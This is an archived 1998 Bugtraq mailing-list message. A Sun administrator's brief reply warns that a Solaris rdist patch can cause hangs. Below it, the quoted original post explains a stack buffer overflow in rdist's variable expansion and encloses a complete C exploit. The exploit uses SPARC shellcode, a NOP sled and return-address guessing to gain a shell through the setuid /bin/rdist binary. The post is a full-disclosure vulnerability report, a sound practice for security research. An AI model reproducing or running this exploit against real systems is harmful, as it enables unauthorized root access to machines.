Re: solaris 2.x rdist exploit / too many humbles :p

From: Thomas Jordan - ENS Sys/Admin - Columbia (thomas.jordanat_private)
Date: Thu Aug 13 1998 - 06:02:25 PDT

  • Next message: security-alertat_private: "Cisco CRM security notice"

    A word of caution about this patch.  On 2.5.1 and 2.6 machines, the
    patch can cause rdist to hang when rdisting out to an existing
    directory.  It's not real consistent across machines, but once it
    happens on a machine, it will happen everytime an rdist to an existing
    directory is performed (the client machine hangs the rdist).  Remove the
    patch on the client, and it works again like a champ.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Thomas Jordan                   email: thomas.jordanat_private
    ENS Systems Administrator       pager: tjordanat_private
    Sun Microsystems, Inc.
    6716 Alexander Bell Drive       phone: (410) 312-1738
    Columbia, Maryland 21046        fax:   (410) 312-1799
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    John McDonald wrote:
    >
    > Enclosed is an exploit for a hole in Solaris rdist that I believe the
    > patch #105667-01 addresses. That patch is for 2.6. I've personally tested
    > the exploit on 2.6, 2.5.1, and 2.5 machines. I'm not sure if that is the
    > right patch, but I'm pretty sure this hole has been fixed.
    >
    > You can see the hole if you look at the bsd source for rdist, which is
    > apparantly pretty similiar to the code Sun used. The vulnerability is in
    > expand.c, which you can look at here:
    >
    > http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/rdist/expand.c?rev=1.5
    >
    > Part of the program's functionality is to allow a user to define
    > variables and reference them in a way similiar to environment variables.
    > The problem comes in when the program attempts to substitute the symbol
    > representing the variable with it's value. You should be able to see this
    > by doing: rdist -d bleh=AAAAA(lotsa lotsa A's) -c /tmp/ '${bleh}'
    >
    > In the function expstr(), we have
    >
    > if (tp != NULL) {
    >    for (; tp != NULL; tp = tp->n_next) {
    >      (void) sprintf((char *)ebuf,
    >           "%s%s%s", s, tp->n_name, tail);
    >      expstr(ebuf);
    >     }
    >    return;
    > }
    > A little higher in the code, we see:
    > u_char ebuf[BUFSIZ];
    >
    > This is obviously a bad thing. BTW, none of the bsds or linuxs are
    > vulnerable to any rdist hole to the best of my knowledge because the binary
    > isn't suid.
    >
    > My nick used to be humble, but as of reading bugtraq yesterday, I can see
    > that someone else is partial to the name. In order to allieviate
    > confusion, (and to possibly deflect emails about how to "run
    > ufsrestore.c" to him :p), I'll change my nick. And looking at this last
    > post, I don't think I want to inherit his enemies. :>
    >
    > horizon
    >
    >   ------------------------------------------------------------------------
    > /* rdist solaris 2.* sploit */
    > /* by horizon. thanks to ktwo */
    > /* argv[1] is your offset */
    >
    > #include <stdio.h>
    > #include <stdlib.h>
    > #include <sys/types.h>
    > #include <unistd.h>
    >
    > #define BUF_LENGTH 1024
    > #define SAFETY 40 /* blind guess */
    > #define EXTRA 400
    > #define STACK_OFFSET 2360
    > #define SAFETY_OFFSET 248
    > #define SPARC_NOP 0xac15a16e
    >
    > u_char sparc_shellcode[] =
    > "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
    > "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
    > "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
    > "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
    > "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    > "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    > "\x91\xd0\x20\x08";
    >
    > int addr_ok(long a)
    > {
    >         if (((a>>24)&255)==0) return 0;
    >         if (((a>>16)&255)==0) return 0;
    >         if (((a>>8)&255)==0) return 0;
    >         if (((a)&255)==0) return 0;
    >         return 1;
    > }
    >
    > u_long get_safe_addr(long sp)
    > {
    >    return sp-SAFETY_OFFSET;
    > }
    >
    > u_long get_sp(void)
    > {
    >    __asm__("mov %sp,%i0 \n");
    > }
    >
    > int main(int argc, char *argv[])
    > {
    >    char buf[BUF_LENGTH + EXTRA + 8];
    >    char tempbuf[BUF_LENGTH + EXTRA + 8+6];
    >
    >    long stack,targ_addr,safe_addr;
    >
    >    u_long *long_p;
    >    u_char *char_p;
    >    int i, code_length = strlen(sparc_shellcode),dso=0;
    >
    >    if(argc > 1) dso=atoi(argv[1]);
    >
    >    stack=get_sp();
    >
    >    safe_addr=get_safe_addr(stack);
    >    while(addr_ok(safe_addr)==0) safe_addr+=8;
    >
    >    targ_addr = stack + STACK_OFFSET - dso;
    >    while(addr_ok(targ_addr)==0) targ_addr+=8;
    >
    >    long_p =(u_long *) buf ;
    >    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    >       *long_p++ = SPARC_NOP;
    >
    >    char_p = (u_char *) long_p;
    >
    >    for (i = 0; i < code_length; i++)
    >       *char_p++ = sparc_shellcode[i];
    >
    >    *char_p++=' ';
    >    *char_p++=' ';
    >
    >    for (i = 0; i < SAFETY /4; i++)
    >    {
    >       *char_p++ =(safe_addr>>24)&255;
    >       *char_p++ =(safe_addr>>16)&255;
    >       *char_p++ =(safe_addr>>8)&255;
    >       *char_p++ =(safe_addr)&255;
    >     }
    >
    >    for (i = 0; i < (EXTRA-SAFETY) /4; i++)
    >    {
    >       *char_p++ =(targ_addr>>24)&255;
    >       *char_p++ =(targ_addr>>16)&255;
    >       *char_p++ =(targ_addr>>8)&255;
    >       *char_p++ =(targ_addr)&255;
    >    }
    >
    >    *char_p++=0;
    >
    >    sprintf(tempbuf,"bleh=%s",&buf[2]);
    >
    >    printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
    >       stack,safe_addr,stack-safe_addr);
    >    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
    >       targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
    >    execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
    >    perror("execl failed");
    > }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:12:29 PDT